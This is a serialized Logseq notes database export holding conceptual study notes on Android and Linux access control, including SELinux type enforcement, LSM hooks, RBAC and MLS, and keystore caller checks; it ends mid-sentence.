Modulelogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[576,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[576,logseq____&quot;^Flogseq____&quot;,550,536874665]],[logseq____&quot;^15logseq____&quot;,[576,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[576,logseq____&quot;^Vlogseq____&quot;,599,536874665]],[logseq____&quot;^15logseq____&quot;,[576,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[576,logseq____&quot;^Hlogseq____&quot;,593,536874665]],[logseq____&quot;^15logseq____&quot;,[576,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-dd5c-4836-b970-ca7cc4181678logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[577,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Installed or `system_server` can only write files necessary for operation (not whole fs)logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[577,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[577,logseq____&quot;^Flogseq____&quot;,622,536874665]],[logseq____&quot;^15logseq____&quot;,[577,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[577,logseq____&quot;^Vlogseq____&quot;,551,536874665]],[logseq____&quot;^15logseq____&quot;,[577,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[577,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-2a85-42e3-8f20-03a60b2b486alogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[578,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Security policies and enforcement based on *type enforcement*logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[578,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[578,logseq____&quot;^Flogseq____&quot;,571,536874665]],[logseq____&quot;^15logseq____&quot;,[578,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[578,logseq____&quot;^Vlogseq____&quot;,593,536874665]],[logseq____&quot;^15logseq____&quot;,[578,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[578,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-0d10-40f5-9358-7e86d5c7b719logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[579,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;role: Group types (processes/domains) for RBAClogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[579,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[579,logseq____&quot;^Flogseq____&quot;,562,536874665]],[logseq____&quot;^15logseq____&quot;,[579,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[579,logseq____&quot;^Vlogseq____&quot;,589,536874665]],[logseq____&quot;^15logseq____&quot;,[579,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[579,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-5564-4d30-afae-a89aa9cbb2d3logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[580,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Responsible for starting processeslogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[580,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[580,logseq____&quot;^Flogseq____&quot;,554,536874665]],[logseq____&quot;^15logseq____&quot;,[580,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[580,logseq____&quot;^Vlogseq____&quot;,554,536874665]],[logseq____&quot;^15logseq____&quot;,[580,logseq____&quot;^Ulogseq____&quot;,549,536874792]],[logseq____&quot;^15logseq____&quot;,[580,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-9803-40a6-acb6-50a33b9f812blogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[581,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Level-based MAC:logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[581,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[581,logseq____&quot;^Flogseq____&quot;,618,536874665]],[logseq____&quot;^15logseq____&quot;,[581,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[581,logseq____&quot;^Vlogseq____&quot;,618,536874665]],[logseq____&quot;^15logseq____&quot;,[581,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[581,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-f2ef-49ef-95f7-66d13434b0d2logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[582,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Integrated via JNI (Java Native Interface)logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[582,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[582,logseq____&quot;^Flogseq____&quot;,597,536874665]],[logseq____&quot;^15logseq____&quot;,[582,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[582,logseq____&quot;^Vlogseq____&quot;,559,536874665]],[logseq____&quot;^15logseq____&quot;,[582,logseq____&quot;^Ulogseq____&quot;,549,536874792]],[logseq____&quot;^15logseq____&quot;,[582,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-4c07-46c0-aaa6-71ac1120b6b6logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[583,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### As Reference Monitorlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[583,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[583,logseq____&quot;^Flogseq____&quot;,551,536874665]],[logseq____&quot;^15logseq____&quot;,[583,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[583,logseq____&quot;^Vlogseq____&quot;,593,536874665]],[logseq____&quot;^15logseq____&quot;,[583,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[583,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874665]],[logseq____&quot;^15logseq____&quot;,[583,logseq____&quot;^Jlogseq____&quot;,[],536874665]],[logseq____&quot;^15logseq____&quot;,[583,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-2af9-4cbb-8858-9cfbd0b5790flogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[584,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Only allowed in kernel domain and for ((67b9dad0-a9f5-436b-9148-4d75b1feb8c1))logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[584,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[584,logseq____&quot;^Flogseq____&quot;,603,536874665]],[logseq____&quot;^15logseq____&quot;,[584,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[584,logseq____&quot;^Vlogseq____&quot;,572,536874665]],[logseq____&quot;^15logseq____&quot;,[584,logseq____&quot;^Ulogseq____&quot;,549,536874792]],[logseq____&quot;^15logseq____&quot;,[584,logseq____&quot;^Ulogseq____&quot;,554,536874792]],[logseq____&quot;^15logseq____&quot;,[584,logseq____&quot;^Hlogseq____&quot;,554,536874665]],[logseq____&quot;^15logseq____&quot;,[584,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-aa0c-4eca-8a53-9fe459aff2f8logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[585,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Non-bypassable: ((67b9d012-f86b-40f5-bca0-8abc59b48214)) partly resides in Kernel, mandatory LSM hookslogseq____&quot;,536874769]],[logseq____&quot;^15logseq____&quot;,[585,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[585,logseq____&quot;^Flogseq____&quot;,583,536874665]],[logseq____&quot;^15logseq____&quot;,[585,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[585,logseq____&quot;^Vlogseq____&quot;,583,536874665]],[logseq____&quot;^15logseq____&quot;,[585,logseq____&quot;^Ulogseq____&quot;,549,536874738]],[logseq____&quot;^15logseq____&quot;,[585,logseq____&quot;^Ulogseq____&quot;,599,536874738]],[logseq____&quot;^15logseq____&quot;,[585,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536874769]],[logseq____&quot;^15logseq____&quot;,[585,logseq____&quot;^Hlogseq____&quot;,599,536874769]],[logseq____&quot;^15logseq____&quot;,[585,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-c9e6-458e-9eda-cab9ef3c64f5logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[586,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Security Server (PDP)\\nid:: 67b9d131-43db-4bf9-b977-55e6029219c7logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[586,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[586,logseq____&quot;^Flogseq____&quot;,566,536874665]],[logseq____&quot;^15logseq____&quot;,[586,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[586,logseq____&quot;^Vlogseq____&quot;,599,536874665]],[logseq____&quot;^15logseq____&quot;,[586,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[586,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b9d131-43db-4bf9-b977-55e6029219c7logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874665]],[logseq____&quot;^15logseq____&quot;,[586,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536874665]],[logseq____&quot;^15logseq____&quot;,[586,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b9d131-43db-4bf9-b977-55e6029219c7logseq____&quot;],536874665]],[logseq____&quot;^15logseq____&quot;,[586,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9d131-43db-4bf9-b977-55e6029219c7logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[587,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Object managers concerned with user-space objects over kernel-spacelogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[587,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[587,logseq____&quot;^Flogseq____&quot;,613,536874665]],[logseq____&quot;^15logseq____&quot;,[587,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[587,logseq____&quot;^Vlogseq____&quot;,613,536874665]],[logseq____&quot;^15logseq____&quot;,[587,logseq____&quot;^Ulogseq____&quot;,549,536874792]],[logseq____&quot;^15logseq____&quot;,[587,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-f949-4a5c-83e5-09ffce2fa9b7logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[588,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Subjects and objects *labeled with security context*logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[588,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[588,logseq____&quot;^Flogseq____&quot;,581,536874665]],[logseq____&quot;^15logseq____&quot;,[588,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[588,logseq____&quot;^Vlogseq____&quot;,581,536874665]],[logseq____&quot;^15logseq____&quot;,[588,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[588,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-3aac-4628-960b-2dcd65219b0elogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[589,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Policy Conceptlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[589,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[589,logseq____&quot;^Flogseq____&quot;,617,536874665]],[logseq____&quot;^15logseq____&quot;,[589,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[589,logseq____&quot;^Vlogseq____&quot;,593,536874665]],[logseq____&quot;^15logseq____&quot;,[589,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[589,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536874665]],[logseq____&quot;^15logseq____&quot;,[589,logseq____&quot;^Jlogseq____&quot;,[],536874665]],[logseq____&quot;^15logseq____&quot;,[589,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-0213-406e-96fd-09e6298715fblogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[590,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Vulnerable to Kernel-space exploitslogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[590,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[590,logseq____&quot;^Flogseq____&quot;,567,536874665]],[logseq____&quot;^15logseq____&quot;,[590,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[590,logseq____&quot;^Vlogseq____&quot;,609,536874665]],[logseq____&quot;^15logseq____&quot;,[590,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[590,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-c038-49a7-8d2b-30bf92e72a34logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[591,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Supports RBAC(*Role-Based Access Control*) and MLS(*Multi-Level access control*)logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[591,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[591,logseq____&quot;^Flogseq____&quot;,578,536874665]],[logseq____&quot;^15logseq____&quot;,[591,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[591,logseq____&quot;^Vlogseq____&quot;,593,536874665]],[logseq____&quot;^15logseq____&quot;,[591,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[591,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-4a95-45c1-9f0d-11d9ff5c4e25logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[592,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;security level: defines sensitivity and category for MLSlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[592,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[592,logseq____&quot;^Flogseq____&quot;,612,536874665]],[logseq____&quot;^15logseq____&quot;,[592,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[592,logseq____&quot;^Vlogseq____&quot;,589,536874665]],[logseq____&quot;^15logseq____&quot;,[592,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[592,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-2e70-4a9c-85b6-4d8b96f4e45blogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[593,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## SELinux\\nid:: 67b9ce96-c1d1-461c-b0b4-9bb8de08615dlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[593,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[593,logseq____&quot;^Flogseq____&quot;,618,536874665]],[logseq____&quot;^15logseq____&quot;,[593,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[593,logseq____&quot;^Vlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[593,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[593,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b9ce96-c1d1-461c-b0b4-9bb8de08615dlogseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874665]],[logseq____&quot;^15logseq____&quot;,[593,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536874665]],[logseq____&quot;^15logseq____&quot;,[593,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b9ce96-c1d1-461c-b0b4-9bb8de08615dlogseq____&quot;],536874665]],[logseq____&quot;^15logseq____&quot;,[593,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9ce96-c1d1-461c-b0b4-9bb8de08615dlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[594,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Pathname-based MAC:logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[594,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[594,logseq____&quot;^Flogseq____&quot;,581,536874665]],[logseq____&quot;^15logseq____&quot;,[594,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[594,logseq____&quot;^Vlogseq____&quot;,618,536874665]],[logseq____&quot;^15logseq____&quot;,[594,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[594,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-79b6-4667-86b1-5af29f102a62logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[595,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Request access control decisions from ((67b9d131-43db-4bf9-b977-55e6029219c7))logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[595,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[595,logseq____&quot;^Flogseq____&quot;,615,536874665]],[logseq____&quot;^15logseq____&quot;,[595,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[595,logseq____&quot;^Vlogseq____&quot;,559,536874665]],[logseq____&quot;^15logseq____&quot;,[595,logseq____&quot;^Ulogseq____&quot;,549,536874792]],[logseq____&quot;^15logseq____&quot;,[595,logseq____&quot;^Ulogseq____&quot;,586,536874792]],[logseq____&quot;^15logseq____&quot;,[595,logseq____&quot;^Hlogseq____&quot;,586,536874665]],[logseq____&quot;^15logseq____&quot;,[595,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-2015-41ac-8655-c60ce4efcde8logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[596,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Only init process can reload SELinux policylogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[596,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[596,logseq____&quot;^Flogseq____&quot;,552,536874665]],[logseq____&quot;^15logseq____&quot;,[596,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[596,logseq____&quot;^Vlogseq____&quot;,551,536874665]],[logseq____&quot;^15logseq____&quot;,[596,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[596,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-be37-4b27-b8fc-991329fc3144logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[597,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;label user-space objects, enforce object-specific policy decisions (Kernel policy must be aware of user space objects/types)logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[597,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[597,logseq____&quot;^Flogseq____&quot;,560,536874665]],[logseq____&quot;^15logseq____&quot;,[597,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[597,logseq____&quot;^Vlogseq____&quot;,559,536874665]],[logseq____&quot;^15logseq____&quot;,[597,logseq____&quot;^Ulogseq____&quot;,549,536874792]],[logseq____&quot;^15logseq____&quot;,[597,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-42bb-4b18-a081-14fa206fe097logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[598,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Policy maps `(domain, type)` and `(domain, domain)` pair to set of permissionslogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[598,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[598,logseq____&quot;^Flogseq____&quot;,607,536874665]],[logseq____&quot;^15logseq____&quot;,[598,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[598,logseq____&quot;^Vlogseq____&quot;,617,536874665]],[logseq____&quot;^15logseq____&quot;,[598,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[598,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-c9f8-49f7-8c5e-26ca9cceb2celogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[599,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## LSM (Linux Security Modules)\\nid:: 67b9d012-f86b-40f5-bca0-8abc59b48214logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[599,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[599,logseq____&quot;^Flogseq____&quot;,593,536874665]],[logseq____&quot;^15logseq____&quot;,[599,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[599,logseq____&quot;^Vlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[599,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[599,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b9d012-f86b-40f5-bca0-8abc59b48214logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536874665]],[logseq____&quot;^15logseq____&quot;,[599,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^18logseq____&quot;],536874665]],[logseq____&quot;^15logseq____&quot;,[599,logseq____&quot;^4logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^18logseq____&quot;,logseq____&quot;67b9d012-f86b-40f5-bca0-8abc59b48214logseq____&quot;],536874665]],[logseq____&quot;^15logseq____&quot;,[599,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9d012-f86b-40f5-bca0-8abc59b48214logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[600,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Make policy decisions based on information provided by LSM hookslogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[600,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[600,logseq____&quot;^Flogseq____&quot;,586,536874665]],[logseq____&quot;^15logseq____&quot;,[600,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[600,logseq____&quot;^Vlogseq____&quot;,586,536874665]],[logseq____&quot;^15logseq____&quot;,[600,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[600,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-7b17-439b-8e02-0bd21c4544f6logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[601,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Type for newly installed app stored in PackageManagerServicelogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[601,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[601,logseq____&quot;^Flogseq____&quot;,580,536874665]],[logseq____&quot;^15logseq____&quot;,[601,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[601,logseq____&quot;^Vlogseq____&quot;,554,536874665]],[logseq____&quot;^15logseq____&quot;,[601,logseq____&quot;^Ulogseq____&quot;,549,536874792]],[logseq____&quot;^15logseq____&quot;,[601,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-1e18-45a1-8ab7-672242bfd86dlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[602,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Implemented in LSM moduleslogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[602,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[602,logseq____&quot;^Flogseq____&quot;,600,536874665]],[logseq____&quot;^15logseq____&quot;,[602,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[602,logseq____&quot;^Vlogseq____&quot;,586,536874665]],[logseq____&quot;^15logseq____&quot;,[602,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[602,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-8b34-4c13-8af2-c52b9bc33e20logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[603,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`dyntransition` allows process to switch own security contextlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[603,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[603,logseq____&quot;^Flogseq____&quot;,572,536874665]],[logseq____&quot;^15logseq____&quot;,[603,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[603,logseq____&quot;^Vlogseq____&quot;,572,536874665]],[logseq____&quot;^15logseq____&quot;,[603,logseq____&quot;^Ulogseq____&quot;,549,536874792]],[logseq____&quot;^15logseq____&quot;,[603,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-7b6b-4123-ba47-348125b1fa3elogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[604,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Keystore checks type of callerlogseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[604,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[604,logseq____&quot;^Flogseq____&quot;,596,536874665]],[logseq____&quot;^15logseq____&quot;,[604,logseq____&quot;^Xlogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[604,logseq____&quot;^Vlogseq____&quot;,551,536874665]],[logseq____&quot;^15logseq____&quot;,[604,logseq____&quot;^Ulogseq____&quot;,549,536874665]],[logseq____&quot;^15logseq____&quot;,[604,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9e0d3-424b-4a56-903c-1eecbfa80e22logseq____&quot;,536874665]],[logseq____&quot;^15logseq____&quot;,[605,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Applications should not interact with Kernel despite having escalated 